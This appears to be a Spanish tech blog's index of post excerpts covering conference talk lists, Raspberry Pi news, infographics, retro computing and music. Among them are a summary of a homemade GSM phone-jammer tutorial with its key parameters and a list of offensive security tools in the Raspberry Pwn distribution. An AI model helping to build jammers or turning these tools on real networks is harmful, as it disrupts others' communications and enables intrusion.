• Marshall Clow: Generic Programming in C++: A Real-World Example
• Zoltan Porkolab, Abel Sinkovics: Metaparse -- Compile-time parsing with template metaprogramming
• Sumit Kumar: What's new in Visual Studio IDE for C++ Developers
• Beman Dawes: Moving Boost to Git
• Michael Caisse: Ladon -- A Distributed State-Machine Framework
• Karsten Ahnert, Mario Mulansky: odeint -- Solving ordinary differential equations in C++
• Scott Schurr: Optimizing Embedded Hard Real-Time Code in C++
• Michael Wong: Future C++1x proposals
• Michael Wong: OpenMP for better high-level parallelism, not just for High Performance Computing
• Alan Talbot: Ustring -- A Modern Alternative to std::string
• John Wiegley: C++11: High-Level Threading
• Michael Caisse: Lambda Functions
• Sean Parent: "Now What? A vignette in three parts"
• Alisdair Meredith: Fresh Paint
• Leor Zolman: A Whirlwind Overview of C++11
• Daveed Vandervoorde: "Modules in C++"

Si desarrollas en C++ o quieres iniciarte, estos enlaces son un gran recurso.

Evolución del reconocimiento de voz (Infografía)

Fuente

iFixit, página imprescindible para reparar de todo

Yo no puedo vivir sin ella. Desde como reparar problemas de coches, cafeteras,  cámaras de fotos, ipod, etc. todo explicado con manuales o con vídeos perfectamente detallados paso a paso, esta página se convierte en totalmente necesaria para cualquier geek que se precie.

La cosa se pone mejor al ver la cantidad de manuales y vídeos que hay sobre portátiles y ordenadores  (a mi esto me ha salvado literalmente la vida), sobre productos Apple como Mac (más de 1600 guías sólo para Mac), iPhone, etc.

Er docu der finde: LHC, Gran Colisionador de …

¿Por qué se llama el bosón de Higgs "la partícula …

Pues es una historia muy curiosa. Peter Higgs es ateo y por lo tanto no le gusta nada ese nombre de “la partícula de Dios” entonces ¿por qué se le llamó así?.

Pues todo se debe a un cambio en el término utilizado para referirse a la partícula en un libro. Leon Lederman autor del libro The God Particle: If the Universe Is the Answer, What Is the Question?,  llamó a la partícula "The goddam particle" ("La partícula maldita") pero debido a la insistencia de su editor tuvo que cambiarla al nombre de "La partícula de Dios", decía que no sonaba bien.

Libros técnicos para las vacaciones

Aquí os dejo una lista de algunos libros que me he ido encontrando en las últimas semanas:

• Concurrent Programming For Scalable Web Architectures
• Introducing Windows Server 2012
• ModSecurity Handbook
• Back of the Envelope Problems
• The provenance hierarchy of computer programs (PDF)
• Ruby Hacking Guide (En progreso)
• Single page apps in depth
• Foundations of Computer Science
• Design of approximation algorithms (PDF)
• USB in a NutShell
• Ubuntu Manual Oficial

Como construir un inhibidor de teléfonos móviles …

Desde Wired, nos enseñan este tutorial para construir tu propio inhibidor casero para teléfonos móviles usando un reloj oscilador a 45MHz para generar el ruido y trabajando con el sistema GSM800 , se consigue bloquear las señales móviles con una potencia de 15-16 dBm (con dos antenas RF).

Un esquema bastante sencillo como puedes ver aquí (click para ampliar):

Este es el acabado final del proyecto:

En este enlace tienes más proyectos (algunos usando kits de montaje).

Se podrá actualizar a Windows 8 por 39,99 dólares …

Siempre que tengas un XP ó superior mediante descarga directa ó 69,99 dólares con disco. Es un claro (y acertado) giro en la política de precios de Microsoft, donde de media sus sistemas operativos cuestan cerca de los 100€.

Una buena noticia para todos los que usamos sistemas Windows.

Visto en LifeHacker.

Presentaciones de la Recon 2012

Ya están disponibles para descarga las presentaciones de la Recon 2012 celebrada el pasado mes de junio.

• Backside optical analysis hardware/software running on ICs - Slides (application/pdf - 3.2 MB)
• Be Social. Use Rewoltke. - Slides (application/pdf - 4.9 MB)
• Bootkit Threats: In-Depth Reverse Engineering & Defense - Slides (application/pdf - 3.9 MB)
• Compiler Internals: Exceptions and RTTI - Scripts (application/zip - 44.5 KB)Slides (application/pdf - 872.3 KB)
• Cryptographic Function Identification in Obfuscated Binary Programs - Slides (application/pdf - 3.7 MB)
• Designing a minimal operating system to emulate 32/64bits x86 code snippets, shellcode or malware in Bochs - Slides (application/pdf - 957.8 KB)
• Dynamic Binary Instrumentation Frameworks: I know you're there spying on me - Slides (application/pdf - 1.8 MB)
• Extraordinary String Based Attacks - Slides (application/pdf - 3 MB)
• Facedancer USB: Exploiting the Magic School Bus - Slides (application/pdf - 16.2 MB)
• GPUs for Mobile Malware, Mitigation and More - Slides (application/pdf - 831.7 KB)
• Thinking outside-the-CPU - Slides (application/pdf - 831.7 KB)
• Injecting custom payload into signed Windows executables - Slides (application/octet-stream - 3.7 MB)
• Analysis of the CVE-2012-0151 vulnerability - Slides (application/octet-stream - 3.7 MB)
• Inside AVM - Slides (application/pdf - 1.2 MB)
• Modern static security checking of C / C++ programs - Slides (application/pdf - 1.3 MB)
• Predicting English keywords from Java Bytecodes using Machine Learning - Slides (application/pdf - 401.5 KB)
• Recognition of binary patterns by Morphological analysis - Slides (application/pdf - 4.6 MB)
• Reverse engineering of binary programs for custom virtual machines - Slides (application/pdf - 554.6 KB)
• The Case for Semantics-Based Methods in Reverse Engineering - Slides (application/pdf - 763.8 KB)
• reversing dwarf fortress for !!fun!! and ruby - Slides (application/pdf - 448.2 KB)

Fuente

The MagPi #3

Ya tenemos disponible otro número, el tercero concretamente, de esta mag-nífica revista digital sobre Raspberry Pi. Este número nos trae:

• Debian Essentials
• Interfacing (In Control) Part 2
• Command Line Clinic
• Skutter Part 2
• Protect Your GPIO Connector
• Meeting Pi
• The C Cave
• The Scratch Patch
• The Python Pit
• Programming Fundamentals
• Feedback
• Weblinks & Credits

La puedes descargar desde los siguientes enlaces (PDF):

MIRROR 1 MIRROR 2 MIRROR 3 MIRROR 4

La filosofía de Han Solo, quizás la mejor frase de …

“Hokey religions and ancient weapons are no match for a good blaster at your side, kid." - Han Solo

Más o menos dice (corrígeme tuxotron si no lo he traducido bien):

“Religiones sentimentales y armas antiguas no son rival contra un arma láser (blaster) de tu lado, chico”.

Para mi, la mejor frase de Star Wars. Define perfectamente en pocas palabras la personalidad de Han Solo.

BeEF en el mundo real

BeEF o The Browser Exploitation Framework es básicamente un conjunto de librerías o marco de trabajo que nos facilita las cosas cuando tenemos que aprovecharnos de alguna vulnerbilidad desde el navegador. Hoy en día todas las miradas a la hora de fortificar una red se hacen hacia los servidores, pero se deja a un lado el que quizás sea el mayor problema de una empresa en cuestiones de seguridad: el usuario y por lo tanto las aplicaciones que éste usa para acceder a internet: el navegador.

El mundo sin internet (Infografía)

Via: OnlineEducation.net

Revisión del código fuente de Quake 3

Mucho de nosotros ya conocemos la magnífica web fabiensanglard.net, sin ir más lejos Cybercaronte hizo referencia a la misma recientemente por una entrada dónde analizaban el código fuente de Doom 3.

En esta ocasión le toca el turno a Quake 3. Esta vez nos deleitan con otra gran revisión dividida en 5 partes:

• Part 1 : Architecture.
• Part 2 : New dualcore renderer with material based shaders (built over OpenGL Fixed Pipeline).
• Part 3 : New Network model based on snapshots.
• Part 4 : New Virtual Machines playing an essential part in the engine, combining Quake1 portability/security with Quake2 speed.
• Part 5 : New Artificial Intelligence for the bots.

Si te interesan este tipo de entradas no dudes en echarle un vistazo a las anteriores: Doom, Doom Iphone, Quake1, Quake2, Wolfenstein iPhone y Doom3.

Guía visual sobre Git

Git, del que hemos ya hablado y publicado otras guías, es uno de esos sitemas con mucho potencial, pero que al principio cuesta un poco de coger la idea. A los que nunca han usado un repositorio de código fuente, uso más común de este tipo de sistemas, les cuesta coger la idea en general y a los que vienen de sistemas como Subversion, CVS, SourceSafe, etc les cuesta entender la architectura distribuída del mismo.

Domingo por la mañana de resaca, Stand de REM, …

httpv://youtu.be/AKKqLl_ZEEY

Bueno hemos celebrado este fin de semana la despedida de soltero de un buen amigo, Mario P. que se casa este año.

Esta canción es una de sus favoritas y sobre todo es un gran fan de la irrepetible serie "Get a Life" ("Búscate la vida") que tenía esta canción de REM como cabecera:

Este verano quiero volver a verla y repetir momentos inolvidables como este sobre cómo viajar en el tiempo:

Por qué tenemos que aprender a programar en C

Siempre he sido un gran defensor del lenguaje de programación C. Es el que siempre he programado y estudiado en la universidad. En  este análisis de David Griffiths refuerza aún más esta opinión en esta entrevista. David Griffiths es el coautor del un libro llamado “Head First C” y utiliza estas preguntas y respuestas, por supuesto, para promocionarlo, pero de todas formas son totalmente válidas y creo que no se equivoca en ninguna de ellas. Voy a hacer un pequeño resumen (en español) de algunas de las preguntas y respuesta, si quieres verlas todas en su versión original (con más extensión y detalle) pulsa aquí para ver el post original:

MicroHistorias: el manuscrito de Steve Jobs en …

Foto: Sotheby's

.. se ha vendido en Sotheby's por 25.000$. ¿Qué tenía de especial este valioso documento?, pues las instrucciones para adaptar las placas del juego World Cup (similar al Pong pero con porterías y más jugadores) creadas a mano y firmadas por el mismísimo Steve Jobs.

En concreto diseños para  nuevas paletas (que simulaban los jugadores) y la situación original de los defensores. El documento iba dirigido a su jefe Stephen Bristow para mejorar el juego de World Cup. Incluye también tres diagramas de circuitos a lápiz creados por Steve Jobs y su firma al final de documento.

Arte espacial de los años 50

Espectacular colección de ilustraciones tipo “pulp” como las que aparecían en la mítica revista “Thrilling Wonder Stories” sobre el espacio, planetas, naves espaciales, etc.

Puedes verlo completo aquí.

Er docu der finde: Cuatro maneras de acabar con el …

Parte 1/5

Parte 2/5

Parte 3/5

Parte 4/5

Vídeos de la SIRAcon

SIRAcon o the Society of Information Risk Analysts conference (conferencia de sociedad de analistas de riesgo de la información) ha subido a su web los vídeos de la conferencia celebrada el pasado 7 de mayo.

• SIRACon - Introductions from Jay Jacobs and Jeff Lowder
• Bob Rudis, "Is your Organization ready for a risk management program?"
• David Seibert, "Risk Management from an Enterprise Risk Management Perspective"
• Patrick Florer, "The Base Rate Fallacy: How Fourfold Tables can help in Information Security"
• Jay Jacobs, "OpenPERT: Modeling Expert Opinion"
• John Benninghoff, "Organizing Risk Management Programs, or, What I Learned from..."
• Evan Wheeler, Rachel Friendly, "Rolling with Resistance: Because Risk Management Isn’t Just About Being Right"
• Gunnar Peterson, "I am a better Security Pro because I am an Investor & I am a better Investor Because I am..."
• "Risk Management Practitioners Panel", Moderated by Ben Tomhave
• Jeff Lowder, Concluding Thoughts

Roll20, jugando al rol de verdad por Internet

Roll20 es un proyecto que busca financiación (ya ha recaudado 40.000$, ocho veces la cantidad que necesitaba) para crear una plataforma que permita jugar al rol tradicional pero a través de Internet.

Mapas interactivos, chat, videoconferecias, efectos de sonido, etc, todo controlado por el maestro de juego para hacer la experiencia lo más intensa, interesante y sobre todo, lo más parecida posible a una partida de rol de las clásicas.

La primera mesa de DJ de la Historia

click para ampliar

No es broma, fue creada por el ingeniero francés Leon Gaumont en 1910. Se llamaba "Cronofono" y servía para sincronizar el sonido de películas en el Palacio Gaumount de Paris.

click para ampliar

Si el Nautilus hubiera llevado un tocadiscos, sería este ;)

Más información en io9.

Los mejores comandos de commandlinefu.com

Mi querido amigo tuxotron ya nos habló en su día de esta fantástica web donde los usuarios van publicando comandos Linux y la gente los vota en función de su utilidad ó espectacularidad.

No os perdáis la clasificación de los más votados os prometo que se aprende más echando un vistazo a esta lista que estudiar todo un libro de comandos Linux ;), espectacular:

Dioramas minimalistas de grandes momentos de la …

click para ampliar las imágenes

Espectacular, además están creados con pocas piezas de LEGO pero te aseguro que esto no resta detalle a las escenas.

Echa un vistazo a este de Star Trek (click para ampliar):

No te los pierdas.

Todos en io9.

Puedes ver más aquí.

Fanfarlo, The Walls Are Coming Down, para este …

Perfecta para un domingo por la mañana …

Fanfarlo.

Cómo Google Play y Apple Store se reparten el …

Fuente

Er docu der finde: Bill Gates & Microsoft

Gooseberry, más competencia para Raspberry Pi

Pues como bien dice el título, parece que otro minidispositivo, en este caso capaz de correr Android 2.3 (instalado por defecto), 4.0, Puppy Linux, Ubuntu, etc, está a punto de llegar al mercado. Lo curioso, como se puede leer en la fuente de la noticia, es que sólo tienen planeado sacar 10 unidades. No sé si llegarán muy lejos con esta producción.

Este dispositivo está equipado con:

• Procesador Allwinner A10 ARM Cortex A8
• Procesador gráfico Mali 400
• Mini HDMI
• 512Mb RAM
• Mini USB
• 4GB de almacenamiento
• Expansión microSD
• Salida auricular
• Opción con WiFi
• Botón de encendido/apagado. Característica que no tienen sus competidores.

Veremos a ver si verdaderamente verá la luz y cuales son sus críticas. Su precio: 40 libras

Aquí también os dejo un vídeo demostración del mismo:

Centro de datos construido con Legos

No le falta un detalle. Impresionante.

¿Cómo de grande es Apple? (Infografía)

Fuente

Vídeos de la CamelOne 2012

La CamelOne es una conferencia sobre soluciones profesionales de integración con productos de código abierto. Básicamente es una conferencia enfocada en productos de colas de mensajes. Si te mueves por esos lares o te interesa el tema, no dudes en echarle un vistazo a los vídeos. Las colas de mensajes cada están tomando más importancia en el ámbito empresarial, especialmente en los tiempos que corren en el que las redes de una empresa ya no están compuestas por sistemas de una sólo compañía, sino de varias.

ClubHack Mag #29

Un nuevo número de ClubHag Mag se encuentra disponible aquí (PDF). El continido del mismo es:

0x00 Tech Gyan - Playing Bad Games: Anatomy of a Game-Server DDoS Attack. 0x01 Tool Gyan - Scapy Primer. 0x02 Mom's Guide - Hypertext Transfer Protocol. 0x03 Legal Gyan - SECTION 66D – Punishment for cheating by personation by using computer resource. 0x04 Matriux Vibhag - MITM with Ettercap. 0x05 Code Gyan - Preventing Cross Site Scripting… Is it a myth! 0x06 Special Feature - Impact of Cyber crime on Businesses.

The MagPi #2

Hace unos días se lanzó el segundo número de The MagPi, la revista electrónica totalmente enfocada a Raspberry Pi. El contenido de esta entrega es el siguiente:

• Setting Up The Raspberry Pi
• Command Line Clinic #CLI
• SD Card Setup
• Computer Music
• Interfacing Projects for Beginners #Architecture
• Debian VirtualBox Part Deux
• Skutter robotic arm tutorial
• Eben & Liz Interview Questions
• The Python Pit #Tutorial
• Raspberry Pi Dissection
• Feedback
• Web Links & Credits

La puedes descargar desde aquí, aquí o aquí (los enlaces son PDFs)

Todas las charlas TechEd 2012

(Click en la imágen para ver más fotos del evento)

Más de 400 vídeos de la conferencia TechEd 2012 celebrada entre el día 11 y 14 de Junio, donde se habla tanto de administración de sistemas como de programación, seguridad, etc, en sistemas Microsoft. Perfecta para estar al tanto de lo último y sobre todo en el nuevo Windows 8 y Windows Server 2012. Son muchas charlas y muy buenas, como esta "Malware Hunting with the Sysinternals Tools" o esta otra "Visual Studio Tips & Tricks".

Usando el Wifi de Starbucks a lo campeón

Así se hace, con dos coj*.., ya nada de portátil ni tablet, me llevo la CPU de sobremesa y un monitor de CRT, pido el café más barato y ya está :) (ojo a las chanclas que lleva de andar por casa).

Esta es otra foto de otro usuario con un ordenador de mesa, fijaos en el empleado de Starbucks mirándolo fíjamente:

Visto en Techeblog.

Más fotos de otros equipos aquí.

Cerf,Mitiska&Jaren and Chris Jones, Starting Right …

Esto por las fiestas que nos vamos a meter este verano en Ibiza, Formentera, Cádiz, Valencia, Londres, Madrid, etc :)

Maison&Dragen

La revolución del email (Infografía)

Browse more data visualizations.

 

Fuente

Er docu der finde: Agua, Top Secret

Proyecto Ghost USB

El Proyecto Honeyet acaba de lanzar un nuevo honeypot llamado Ghost USB cuya finalidad es la de emular un lápiz USB en un sistema Windows, de manera que si dicho sistema está infectado por algún malware que se expanda a través de dispositivos USB, eventualmente acabe copiándose a este dispositivo emulado.

En la web del proyecto puedes encontrar tanto el código fuente como los binarios, así como las instrucciones para instalarlo.

Aquí tenéis un vídeo con la presentación de este proyecto (en inglés):

Vídeos de la DjangoCon Europe 2012

Ya se encuentran disponibles las charlas de la DjangoCon Europe 2012 celebrada en Zurich.

• Opening, Welcome
• Keynote
• PostgreSQL when it is not your job.
• Round Pegs and Square Holes: Django and MongoDB
• Class-based Generic Views: patterns and anti-patterns
• Django and the Real-time Web
• Building secure Django websites
• Implementing Domain-specific Languages in Django Applications
• I Hate Your Database
• Lightning Talk: Rebinding Selenium.
• Lightning Talk: How to make your own Django sprint
• How do we log into admin
• PyCon Poland 2012
• Lightning Talk: PyCharm
• Lightning Talk: Tree.io
• Lightning Talk: Django On Platform as a Service providers
• Lightning Talk: Scripting your development environment
• Keynote: Fostering Community
• LFS - Lightning Fast Shop
• Using CSS preprocessors effectively
• Arkestra: semantic information publishing for organisations
• Django Chuck - Your powerful project punch button (part 1)
• Django Chuck - Your powerful project punch button (part 2)
• It's about time!
• Healthy Webapps Through Continuous Introspection
• Lightning Talks: Django-IDS Intrusion detection system
• Lightning Talks: Django Template Coverage
• Lightning Talks: Glue, a command line tool to create CSS sprites
• Schemaless SQL
• Lightning Talks: PyCon Connecting The Python Community
• Lightning Talks: Ponystrap
• Lightning Talks: Three Weeks w/o Django (Nepal)
• Lightning Talks: bitbucket
• Facebook Apps with Django
• Keynote: Make me make good choices
• Adding Tests to an Uncovered Application
• Implementing real time web applications with Django
• Lightning Talks: Sync-Models
• Lightning Talks: VIM text editor, performance matters...
• Lightning Talks: CBV based navigation
• How Heroku Uses Heroku To Build Heroku
• Lightning Talks: people.djangoproject.com
• Involving women in the community
• Flasky Goodness (or Why Django Sucks?)
• Django Core Panel and closing session

Holyspirit, juego RPG open source

Holyspirit es un juego inspirado en Diablo, un juego de acción RPG (Role Playing Game). Es código abierto y esta en fase de desarrollo, aunque es jugable y está disponible para BSD, Windows y Linux.

Para aquellos que uséis linux, en esta entrada os explican como puedes instalarlo.

Aquí tenéis un pequeño vídeo del juego:

Podéis descargarlo desde aquí. Y si queréis también podéis acceder al código fuente.

Historia de los ordenadores construidos entre 1938 …

En esta web tienen una lista muy interesante, ordenadada cronológicamente sobre los ordenadores construidos entre 1938 y 1988. Dicha también incluye un gráfico muy completo (la imagen que hemos puesto encabezando la entrada) con parte de dicha información.

El formato de la lista es: Empresa/organización nombre_ordenador país año. Ej: Zuse Z1 Germany 1938 (ordenador Z1 fue creado por Zuse en Alemania en 1938).

Si te gusta la historia de la informática este es un buen recurso.

Hollywood cada vez más cerca de la realidad

Fue hace unos 3 años, en uno de mis viajes de vuelta a España cuando hubo un revuelo en el banco al que acudí porque alguien del Círculo de Lectores había traído el tercer libro de una famosa novela de la que no tenía ni idea. En 10 minutos la chica de la mesa que me atendía me explico la historia de dicha trilogía conocida como Millennium. Cuando esta muchacha nombró novela y hacker captó mi atención. Por supuesto me compré los 3 libros y me los leí.

Convierte tu Raspberry Pi en una auténtica …

En Pwnie Express, una empresa especializada en crear dispositivos pequeños totalmente orientados a los profesionales de la seguridad, han liberado una distribución para Raspberry Pi cargadita de herramientas para los entusiastas de la seguridad. Dicha distribución ha sido bautizada como Raspberry Pwn.

La lista de herramientas que se incluyen en esta distribución es:

SET Fasttrack kismet aircrack-ng nmap dsniff netcat nikto xprobe scapy wireshark tcpdump ettercap hping3 medusa macchanger nbtscan john ptunnel p0f ngrep tcpflow openvpn iodine httptunnel cryptcat sipsak yersinia smbclient sslsniff tcptraceroute pbnj netdiscover netmask udptunnel dnstracer sslscan medusa ipcalc dnswalk socat onesixtyone tinyproxy dmitry fcrackzip ssldump fping ike-scan gpsd darkstat swaks arping tcpreplay sipcrack proxychains proxytunnel siege sqlmap wapiti skipfish w3af

Visualizando la evolución de python

Ya hemos visto algún vídeo de este tipo. En este caso se trata de la evolución de Python. El vídeo está basado en los commits hechos en mercurial desde agosto de 1990 hasta junio de 2012.

El vídeo ha sido creado con gource una herramienta para la visualización de control de versiones de software. Esta utilidad actualmente es capaz de leer los logs de Git, Mercurial, Bazaar y SVN y con la ayuda de herramientas de tercero también es capaz de leer los logs de CVS.

Liberado el código fuente de PaCifiST

PaCifiST fue el primer emulador de Atari ST capaz de emular el software del mismo en tiempo real. La última versión que se liberó de éste fue la 0.49b en 1998, aunque según parece el código fuente que se ha liberado se corresponde a una versión anterior. Lo malo de esta versión es que no actualmente no compila, más concretamente es la emulación MFP (Multifunction Peripheral) es el módulo que esta roto. Aparte de eso el resto del código fuente esta disponible y está escrito en C y ensamblador. Puedes acceder al mismo desde aquí.

"We Stopped Dreaming", hemos dejado de soñar, o el …

httpv://youtu.be/CbIZU8cQWXc

El físico Neil deGrasse Tyson narra en estos dos episodios (de momento hay dos publicados) el impacto tecnológico y social a toda la Humanidad que tuvieron los viajes al espacio y en concreto, el viaje a la Luna.

Estos documentales intentan forzar al gobierno americano  a invertir un poco más en la NASA (el gasto que le supone es ridículo comparado con el beneficio que aporta) para que pueda continuar con la exploración espacial, ahora que ha sufrido un duro recorte por parte del gobierno de Obama.

Archers of Loaf, Web in front, para refrescar un …

Archers of Loaf

Web oficial

… fantásticos, me recuerdan a mis queridos Pavement …

Indie Game: The Movie (trailer)

Este documental no me lo pierdo. Trata sobre la progamación “indie” y su impacto sobre la industria de los videojuegos. Pero lo mejor de todo es ver en acción, programando, jugando y disfrutando (a veces sufriendo) a genios de la programación como son Phil Fish (Fez) ó Jonathan Blow (Braid).

El código fuente de Doom 3, analizado a fondo

Ya sabemos que id Software publicó el año pasado el código fuente de Doom 3. Esta claro que todos no hemos tenido tiempo de verlo pero para eso está Fabien Sanglard que se ha currado un completo análisis del todo el código fuente y su funcionamiento. A medida que está compilando el código, él mismo introduce sus comentarios, capturas de pantalla, etc, todo con el máximo detalle.

La única forma para capturar al correcaminos ...

Visto en GeeksAreSexy.

¿Qué tipo de hosting necesito? (Infografía)

Fuente

Positive Hack Days (PHDAYS) - Vídeos

Ya están disponible los vídeos de la Positive Hack Days que se celebró los pasado 30 y 31 de mayo. Dónde por cierto, ¡los Int3pids consiguieron un gran tercer puesto! Go Int3pids!

• Bruse Schneier. video
• Datuk Mohd Noor Amin. video
• Sergey Gordeychik. How to hack a telecom and stay alive 2. Owning a billing video
• Evgeny Klimov, RISSPA. Telecom vs fraud. Who will win? video
• Mikhail Yemelyannikov. Why it is impossible to comply with Russian private data protection law? video
• Andrey Fedichev, FSTEK of Russia. Why state secrets leak to the Internet? video
• Alexey Lukatsky. How presidential election in Russia influences information security market, or Trends in regulations. video
• Vladimir Styran. The truth about the lie. Social engineering for security experts video
• Andrey Masalovich. Internet competitive intelligence. video
• Dmitry Ryzhavsky. Wireless network security. How your network was hacked and how it could be avoided video
• Sergey Lozhkhin. Computer incident investigation. video
• Nikhil Mittal. Breaking havoc using a Human Interface Device. video
• Sylvain Munaut. Abusing Calypso phones. video
• Andrei Costin. PostScript: Danger ahead! Hacking MFPs, PCs and beyond… video
• Sergey Klevoghin. CEH. Ethical hacking and penetration testing. video
• Travis Goodspeed. Exploiting radio noise with packets in packets. video
• Alexey Yudin. ERP as viewed by attackers. video
• Andrey Doukhvalov. Defense of industrial control systems – a factor of survival of mankind. video
• Evgeniya Shumakher. A lazy way to find out your fellow worker's salary, or SAP HR security. video
• Alexander Polyakov. SAP insecurity: the new and the best. video
• Alexey Yudin. DIY SAP security video
• Vladimir Lepikhin. Web application attacks. The basics. video
• Miroslav Štampar. DNS exfiltration using sqlmap. video
• Vladimir Vorontsov. Attacks against Microsoft network web clients. video
• Andres Riancho. Web 2.0 security. Advanced techniques. video
• Sergey Scherbel. Not all PHP implementations are equally useful. video
• Thibault Koechlin. Naxsi, an open source and positive model based web application firewall. video
• Aleksey Moskvin. On secure application of PHP wrappers. video
• Vladimir Kochetkov. Hack an ASP.NET site? It is difficult, but possible! video
• Marcus Niemietz. Hijacking attacks on Android devices. video
• Sergey Nevstruev. Practicalities of Mobile Security. video
• Maria Garnayeva. The techniques of putting a spoke in botmasters' wheels: the Kelihos botnet. video
• Alexander Gostev. Initially the report was titled The secret of Duqu, but then the reporter decided to concentrate on a new vulnerability called Flame. video
• Alexander Lyamin. DDoS Surveillance HowTo. Part 2. video
• Fyodor Yarochkin and Vladimir Kropotov. Life cycle and detection of bot infections through network traffic analysis. video
• Pierre-Marc Bureau. Win32/Georbot. Understanding and automated analysis of a malware. video
• Alexey Zhukov. Lightweight cryptography: resource-undemanding and attack-resistant. video
• Dmitry Sklyarov and Andrey Belenko. Secure password managers and military-grade encryption for smartphone: Huh, really? video
• Alexander (Solar Designer) Peslyak. Password security: past, present, future. video
• Benjamin Delpy. Mimikatz to restore passwords for Windows 8. video
• Artyom Sychov. Ways to protect money. video
• Dmitry Gorelov, RusCrypto Association. Smart-card technologies in Russia: from payphones to Universal Electronic Card. video
• Aleksandr Matrosov and Eugene Rodionov. Smartcard vulnerabilities in modern banking malware. video
• Micha Borrmann. Paying with credit cards in the Internet can result in headache. video
• Boris Ryutin. Security without antivirus software. video
• Yuri Gubanov. How to find an elephant in a haystack. video
• Dmirty Evdokimov. Light and dark side of code instrumentation. video
• Nikita Tarakanov and Alexander Bazhanyuk. Automated vulnerability detection tool. video
• Igor Kotenko. Program agent cyberwars. video
• Ulrich Fleck and Martin Eiszner. From 0-day to APT in terms of favorite framework. video
• Demo section. Seeing once is better! video
• Jerry Gamblin. What we can (and should) learn from LulzSec. video
• Haythem El Mir. How Tunisia resisted attacks by Anonymous. video
• Alexey Andreev (Mercy Shelley). The past and the future of cyberpunk. video
• Award ceremony. video

Fuente

Er docu der finde: Las matemáticas, la armonía del …

Mario 5 escrito en Javascript, incluye código …

Son muchos los juegos y otras aplicaciones que se han portado al navegador creando estos en Javascript. Especialmente desde que se liberó HTML5 y CSS3. Estas dos tecnologías junto con la potencia infravalorada de Javascript se pueden hacer cosas muy interesantes.

En esta entrada nos van explicando paso a paso la creación de este Mario 5, con trozos de código, HTML y CSS y sus correspondientes explicaciones. Además si eres capaz de entender y seguir el artículo podrás incluso fácilmente extender este mismo juego.

Historia del Cloud Computing (Infografía)

Fuente

¿Alguna vez te han dado pena los malos de los …

La nueva película de Disney  se llamará ¡Rompe Ralph!

Link

Diagramas UML de la API de colecciones de Java

Una de las librarías más potentes de Java, es la Java Collections API o librería de colecciones. Ello conlleva que esta librería sea bastante amplia y en muchas ocasiones los desarrolladores desconozcan muchas de sus funcionalidades.

Aparte de tener Google, también es muy bueno tener a mano una buena documentación y si es en forma gráfica, en muchas ocasiones, mejor que mejor. Si programas en Java estos diagramas deberías no sólo de tenerlos a mano, sino también entender lo que nos ofrece la Java Collections:

Los 5 ordenadores más caros de Apple

Si pensabas que los ordenadores de Apple son caros hoy en día, mira lo que costaban algunas de sus creaciones algún tiempo atrás:

• Apple Lisa

Fue creado en 1983 y costaba 9.995 dólares, traducido a los tiempos que corren serían 21.600 dólares. Éste fue el ordenador más caro de Appley fue la base del Macintosh, el cual fue lanzado al año siguiente.

• Macintosh IIfx

Creado en 1990 y salió a la venta por 9.000 dólares, 14.900 dólares a precio de hoy. Éste fue el primero en salir con pantalla a color y separaba el vídeo de la CPU.

John Carmack está fabricando su propio casco de …

(click en la imagen para ver artículo de PCGAMER)

En sus ratos libres, John Carmack se ha fabricado un casco de realidad virtual que está enseñando (sólo a algunas personas, no a la prensa) dentro del stand de Bethesda (en el E3) y que todos describen como el mejor sistema de realidad virtual que han visto nunca.

Se puede ver incluso la cinta adhesiva pegando algunas partes del prototipo pero parece realmente funciona bien.

Crea tu propia máquina Enigma de papel

Ya tienes un proyecto para realizar estas tardes calurosas de verano y que luego además puedes poner en tu escritorio geek. Aquí tienes los PDF para fabricar una máquina Enigma de papel y aquí las instrucciones. Es totalmente real y funcional, de hecho es compatible con los modelos de Enigma I, M1, M2 y M3.

Visto en HTG.

Halo 4 gameplay

Halo 4

Hackeo de CloudFlare (Infografía)

Línea de tiempo de las fallas de seguridad que aprovecharon para introducirse en el sistema de CloudFlare. Publicada por ellos mismos.

De vuelta a Gnome

Dos años después de haber estado usando mi querida Ubuntu 10.04 LTS, me decidí a actualizar a 12.04 LTS.

Durante todo este periodo fue mucho el revuelo que se levantó cuando Canonical decidió crear Unity y dejar a un lado Gnome. Son muchos los que se quejaban. Cuestiones de gusto pensé.

Después de instalar la flamante nueva versión de Ubuntu, era tiempo de adaptarla a mis necesidades. Al principio me sentí un poco perdido con Unity, pero la verdad es que me gustaba y me traía buenos recuerdos (Amiga rulez!) con el menú integrado, el escritorio muy limpio, cosa que me gusta, etc. Todo iba bien hasta que tocó configurar los 2 monitores.

Love Missile F1-11, Sigue Sigue Sputnik, un …

httpv://youtu.be/pk30a0qsVIk

Mítico grupo, el disco completo Flaunt it! (4€ en Amazon) es realmente espectacular (todas las canciones).

No podemos olvidar la genial aparición de esta canción en un clásico del cine, Ferris Bueller Day Off  (Todo en un día en España):

httpv://youtu.be/PnsPpAGB9MU

Aunque para mi, la canción "Atari Baby" marcó una época de mi vida. Me acompañó horas y horas de mi juventud delante de mi MSX :)

httpv://youtu.be/6IB2En4lGI8

Echando un vistazo al interior de la primera …

Ahora se cumple el 40 aniversario de la que es considerada la primera videoconsola doméstica de la historia. En la web de VintageComputing han creado este post (publicado en PCWorld) donde hacen un completo análisis de todo su hardware (tanto interior como exterior) con fotos y comentarios.

La Odyssey salió al mercado en Agosto de 1972 a un precio de 99,99$ (unos 500$ dólares de hoy día), incluía 12 juegos y podía funcionar en cualquier televisor. No tenía sonido, no guardaba las puntuaciones y estaba fabricada con transistores, resistencias y condensadores (como veréis en las fotos).

Celebraciones de goles con FX (Humor)

 

Hoy parece un día tonto en CyberHades (después del post sobre Clipo)  ;) así que vamos a ver este vídeo con retoques y efectos (algunos épicos y muy geeks) a las celebraciones de goles  …

Clippy (Clipo) ha vuelto para quedarse, como …

Seguro que echabas de menos a Clippy (Clipo en español), ese "simpático" clip llamado también Microsoft Agent que aparecía en Office 97 (y que duró hasta el Office 2003) cuando, en teoría, lo necesitaba el usuario.  El pobre Clipo fue machacado en su época por su habilidad de aparecer justo cuando menos lo necesitabas, una de las parodias es Vigor, un pluggin para vi que incluía un asistente que era como Clipo, un clip. Lo que ocurre es que no ofrecía ayuda o la que ofrecía no era útil. Por ejemplo si querías mover el cursor a la izquierda para editar una palabra, aparecía este clip diciendo "¿estás seguro que quieres moverte a la izquierda?" ;)

Er docu der finde: Cerebro Musical (Sting)

Nota: el vídeo aunque marca 1 hora 35 minutos, en realidad sólo dura 47 minutos.

Cómo las aplicaciones móviles estás invadiendo tu …

Fuente

Buenas prácticas sobre el desarrollo de …

